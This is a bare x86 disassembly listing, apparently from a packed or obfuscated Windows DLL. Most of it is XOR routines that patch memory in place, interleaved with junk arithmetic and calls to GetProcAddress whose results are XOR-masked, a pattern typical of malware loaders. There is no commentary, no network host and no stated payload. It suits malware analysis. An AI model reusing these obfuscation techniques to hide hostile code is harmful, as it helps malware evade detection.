lea ecx, [eax + 0x1191e]
add eax, 0x118a0
xor eax, dword [ecx]
xor eax, 0xdccdd46c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33158]
add eax, 0x3312c
xor eax, dword [ecx]
xor eax, 0xdccffde0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36214]
add eax, 0x236c8
xor eax, dword [ecx]
xor eax, 0xdccefa04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1123d]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x52d9]
add eax, 0x1f69c
xor eax, dword [ecx]
xor eax, 0xdccd3a50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13da1]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d3c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8c97]
add eax, 0x27c88
xor eax, dword [ecx]
xor eax, 0xdcceb044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10525]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d2f]
add eax, 0x201c0
xor eax, dword [ecx]
xor eax, 0xdccecd0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc6a9]
add eax, 0x28a98
xor eax, dword [ecx]
xor eax, 0xdcce4654
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10106ae8]
mov dword [esp + 0x14], ecx
lea ecx, [eax + 0x328b4]
add eax, 0x12a90
xor eax, dword [ecx]
xor eax, 0xdccde65c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18092]
add eax, 0x23878
xor eax, dword [ecx]
xor eax, 0xdccef4b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x101062e0]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xc5a9]
add eax, 0x289d8
xor eax, dword [ecx]
mov edx, 0xdcceb4b8
xor eax, 0xdcce4514
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x177cd]
add eax, 0x17884
xor eax, dword [ecx]
push 0x10107980
xor eax, 0xdccdb448
mov dword [ecx], eax
mov eax, dword [0x10105368]
imul eax, eax, 0x5862b905
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb865]
add eax, 0x28fac
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce4360
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49a0]
add eax, 0xa46b0
xor eax, dword [ecx]
xor eax, 0xdcc68a7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a3e4]
add eax, 0xa8fcc
xor eax, dword [ecx]
xor eax, 0xdcc64300
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3eec]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2c5b]
add eax, 0x2545c
xor eax, dword [ecx]
xor eax, 0xdcce9890
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3409c]
add eax, 0x34084
xor eax, dword [ecx]
xor eax, 0xdccf8c48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4534]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, 0xdcc9af22
sub eax, dword [0x10103e64]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49ac]
add eax, 0xa47a0
xor eax, dword [ecx]
xor eax, 0xdcc68b6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201a4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf99b0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17834]
add eax, 0x17838
xor eax, dword [ecx]
xor eax, 0xdccdb4f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x678c]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183f6]
add eax, 0xa4c10
xor eax, dword [ecx]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24020]
add eax, 0x23ea4
xor eax, dword [ecx]
xor eax, 0xdccef268
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa632]
add eax, 0x27e48
xor eax, dword [ecx]
xor eax, 0xdcceb284
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c0d2]
add eax, 0xa5558
xor eax, dword [ecx]
xor eax, 0xdcc69994
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4557]
add eax, 0x202b0
xor eax, dword [ecx]
xor eax, 0xdccece7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12082]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4428]
add eax, 0x26590
xor eax, dword [ecx]
xor eax, 0xdccea95c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25508]
add eax, 0x3320
xor eax, dword [ecx]
xor eax, 0xdcccffec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46e0]
add eax, 0x26250
xor eax, dword [ecx]
xor eax, 0xdcceae9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29130]
add eax, 0x3f00
xor eax, dword [ecx]
xor eax, 0xdcccf3cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b00]
add eax, 0x249b0
xor eax, dword [ecx]
xor eax, 0xdcce857c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13fc7]
add eax, 0x25868
xor eax, dword [ecx]
xor eax, 0xdcce94a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200bc
push 0x101075d8
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf80ea
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x344b8]
add eax, 0x1f2af
xor eax, dword [ecx]
xor eax, 0xdccd3e63
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3ad8]
add eax, 0x256c0
xor eax, dword [ecx]
xor eax, 0xdcce9a0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0x23da60f4
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x140b4]
add eax, 0xa5a78
xor eax, dword [ecx]
xor eax, 0xdcc696b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6ba39a32]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x34398]
add eax, 0x1e8b1
xor eax, dword [ecx]
xor eax, 0xdccd247d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb8b8]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
add ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x42f7]
add eax, 0x23098
xor eax, dword [ecx]
xor eax, 0xdccefc54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17830]
add eax, 0x17840
xor eax, dword [ecx]
xor eax, 0xdccdb48c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17820]
add eax, 0x17860
xor eax, dword [ecx]
xor eax, 0xdccdb4ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34344]
add eax, 0x34324
xor eax, dword [ecx]
xor eax, 0xdccf8fe8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc869]
add eax, 0x28bac
xor eax, dword [ecx]
xor eax, 0xdcce4760
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [esp + 0x20]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x642e]
add eax, 0x20370
xor eax, dword [ecx]
push 0x10107f34
xor eax, 0xdccecfbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbb7f]
add eax, 0x202dc
xor eax, dword [ecx]
push dword [esp + 0x40]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6463]
add eax, 0x1f54b
xor eax, dword [ecx]
xor eax, 0xdccd3987
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10642]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20368
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf981a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f0c]
add eax, 0x32f54
xor eax, dword [ecx]
xor eax, 0xdccfe398
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179bc]
add eax, 0x179e4
xor eax, dword [ecx]
xor eax, 0xdccdb528
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5546]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3364c]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3295c]
add eax, 0x132b0
xor eax, dword [ecx]
xor eax, 0xdccdfe7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad38]
add eax, 0x27ee8
xor eax, dword [ecx]
xor eax, 0xdcceb224
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e470]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2236]
add eax, 0x24fd8
xor eax, dword [ecx]
xor eax, 0xdcce8314
mov dword [ecx], eax
mov eax, dword [0x10107300]
push 0x101075f0
add eax, 0x200c4
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf808e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a7f7]
add eax, 0xa8fc8
xor eax, dword [ecx]
xor eax, 0xdcc64304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c288]
add eax, 0xa556c
xor eax, dword [ecx]
xor eax, 0xdcc699a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9631]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33664]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256a]
add eax, 0x25174
xor eax, dword [ecx]
xor eax, 0xdcce9db8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14684]
add eax, 0x20de8
xor eax, dword [ecx]
xor eax, 0xdccec124
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11823]
add eax, 0x29018
xor eax, dword [ecx]
xor eax, 0xdcce5cd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, 0x2db22dc8
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x24ec0]
add eax, 0x16f4b
xor eax, dword [ecx]
xor eax, 0xdccda387
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ea4]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e00]
add eax, 0xa887
xor eax, dword [ecx]
xor eax, 0xdccc644b
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa360]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
sub eax, dword [0x1010536c]
push 0x101079cf
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f52c]
add eax, 0x33f14
xor eax, dword [ecx]
push ebp
xor eax, 0xdccff3d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x169f2]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b04]
add eax, 0x249ac
xor eax, dword [ecx]
xor eax, 0xdcce8560
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x458a]
add eax, 0x257c4
xor eax, dword [ecx]
xor eax, 0xdcce9b08
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201bc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107b70
xor ecx, 0xcccf99de
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ec6]
add eax, 0x20104
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccecdc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3de0]
add eax, 0x27130
xor eax, dword [ecx]
xor eax, 0xdccebdfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4702]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29118]
add eax, 0xf820
xor eax, dword [ecx]
xor eax, 0xdccc34ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f48]
add eax, 0x2010c
xor eax, dword [ecx]
xor eax, 0xdccecdc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2026c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9d7a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3394c]
add eax, 0x338dc
xor eax, dword [ecx]
xor eax, 0xdccff410
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12eee]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231d8]
add eax, 0x16f85
xor eax, dword [ecx]
xor eax, 0xdccda349
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x339f8]
add eax, 0xa4b6c
xor eax, dword [ecx]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a54]
add eax, 0x12fe0
xor eax, dword [ecx]
xor eax, 0xdccde32c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b8b8]
add eax, 0x20060
xor eax, dword [ecx]
xor eax, 0xdcceccac
mov dword [ecx], eax
mov eax, dword [0x10105abc]
mov ecx, dword [esp + 0x20]
add eax, ecx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa068]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4424]
add eax, 0x86b10
xor eax, dword [ecx]
xor eax, 0xdcc4a7dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8199]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a441]
add eax, 0x36320
xor eax, dword [ecx]
xor eax, 0xdccfafec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1832c]
add eax, 0x201a4
xor eax, dword [ecx]
xor eax, 0xdccecd68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44e4]
add eax, 0x8adb8
xor eax, dword [ecx]
xor eax, 0xdcc46174
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x104fc]
add eax, 0x20264
xor eax, dword [ecx]
xor eax, 0xdccecea8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x98d8]
add eax, 0x20004
xor eax, dword [ecx]
xor eax, 0xdcceccc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11a33]
add eax, 0x20350
xor eax, dword [ecx]
xor eax, 0xdccecf9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3304c]
add eax, 0x36f4c
xor eax, dword [ecx]
xor eax, 0xdccfa380
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x113d0]
add eax, 0x200f4
xor eax, dword [ecx]
xor eax, 0xdccecc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5a1d]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe773]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33738]
add eax, 0x3373c
xor eax, dword [ecx]
xor eax, 0xdccffbf0
mov dword [ecx], eax
mov ecx, dword [0x1010536c]
mov eax, dword [0x10105abc]
add eax, ecx
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf409]
add eax, 0x1f5ce
xor eax, dword [ecx]
xor eax, 0xdccd3902
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x277a]
add eax, 0x202ac
xor eax, dword [ecx]
xor eax, 0xdccece60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36f2c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179b4]
add eax, 0x179d4
xor eax, dword [ecx]
xor eax, 0xdccdb518
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ed]
add eax, 0x24f24
xor eax, dword [ecx]
xor eax, 0xdcce83e8
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
sub eax, dword [esp + 0x14]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279ec]
add eax, 0x6610
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x45
xor eax, 0xdcccaadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47e4]
add eax, 0x992e0
xor eax, dword [ecx]
xor eax, 0xdcc55e2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34490]
add eax, 0x34494
xor eax, dword [ecx]
xor eax, 0xdccf8858
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6ae]
add eax, 0x37158
xor eax, dword [ecx]
xor eax, 0xdccfbd94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ea8]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [esp + 0x14]
and dword [0x10106ae8], eax
dec dword [esp + 0x10]
jne 0x10034b06
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4608]
add eax, 0x262f8
xor eax, dword [ecx]
xor eax, 0xdcceae34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32988]
add eax, 0x13070
xor eax, dword [ecx]
xor eax, 0xdccdfcbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19bdd]
add eax, 0xa5088
xor eax, dword [ecx]
xor eax, 0xdcc69c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140c3]
add eax, 0xa5a84
xor eax, dword [ecx]
xor eax, 0xdcc69648
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x1010536c]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xa453]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25eb8]
add eax, 0x5150
xor eax, dword [ecx]
xor eax, 0xdccc9d9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332e4]
add eax, 0x332e8
xor eax, dword [ecx]
xor eax, 0xdccffe24
mov dword [ecx], eax
mov eax, dword [0x10103e64]
and eax, dword [esp + 0x14]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1847c]
add eax, 0xa4c14
xor eax, dword [ecx]
xor eax, 0xdcc680d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x128ca]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, 0x7c23eef9
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x98e4]
add eax, 0x27db0
xor eax, dword [ecx]
xor eax, 0xdcceb17c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x57b7]
add eax, 0x20228
xor eax, dword [ecx]
xor eax, 0xdccecee4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2552c]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25704]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb1bc]
add eax, 0x27f70
xor eax, dword [ecx]
xor eax, 0xdcceb3bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x101062e4]
mov dword [0x10103e60], ecx
mov ecx, dword [0x10105368]
and ecx, dword [0x10106ae8]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1ba01]
add eax, 0x36978
xor eax, dword [ecx]
xor eax, 0xdccfa5b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ccd3]
add eax, 0x1cd64
xor eax, dword [ecx]
xor eax, 0xdccd01a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5ad9]
add eax, 0x25fa0
xor eax, dword [ecx]
xor eax, 0xdcce936c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xb9c4]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x12342]
add eax, 0x32670
xor eax, dword [ecx]
xor eax, 0xdccfeabc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfdee]
add eax, 0x2014c
xor eax, dword [ecx]
xor eax, 0xdccecd80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c8c]
add eax, 0x32c5c
xor eax, dword [ecx]
xor eax, 0xdccfe090
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, dword [0x1010536c]
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e74]
add eax, 0x27480
xor eax, dword [ecx]
xor eax, 0xdcceb84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x364c8]
add eax, 0x36448
xor eax, dword [ecx]
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe9d1]
add eax, 0x20310
xor eax, dword [ecx]
push 0x10107eee
xor eax, 0xdccecfdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cea8]
add eax, 0x1cedc
xor eax, dword [ecx]
push dword [esp + 0x30]
xor eax, 0xdccd0210
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a38]
add eax, 0x33a44
xor eax, dword [ecx]
xor eax, 0xdccff688
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10106ae8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xb7b4]
add eax, 0xa5a28
xor eax, dword [ecx]
xor eax, 0xdcc696e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fac]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19afa]
add eax, 0xa4f80
xor eax, dword [ecx]
xor eax, 0xdcc6834c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11439]
add eax, 0x202e8
xor eax, dword [ecx]
xor eax, 0xdccece24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x340e8]
add eax, 0x1f640
xor eax, dword [ecx]
xor eax, 0xdccd3a8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcba9]
add eax, 0x28d18
xor eax, dword [ecx]
xor eax, 0xdcce41d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, 0xf0021b4d
add eax, 0x20240
mov dword [0x10105368], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf98aa
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33750]
add eax, 0xa4a94
xor eax, dword [ecx]
xor eax, 0xdcc68658
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254ac]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329f0]
add eax, 0x13050
xor eax, dword [ecx]
push 0x10107585
xor eax, 0xdccdfc9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9975]
add eax, 0x27dc4
xor eax, dword [ecx]
push ebp
xor eax, 0xdcceb108
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeba4]
add eax, 0x29028
xor eax, dword [ecx]
xor eax, 0xdcce5ce4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3994]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a871]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37070]
add eax, 0x31f4c
xor eax, dword [ecx]
xor eax, 0xdccfd380
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4440]
add eax, 0x2656c
xor eax, dword [ecx]
xor eax, 0xdccea9a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe75b]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4500]
add eax, 0x26428
xor eax, dword [ecx]
xor eax, 0xdccea8e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200a4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8708
mov dword [eax], ecx
mov eax, dword [0x10103e60]
or eax, 0x30b45a17
mov dword [0x1010536c], eax
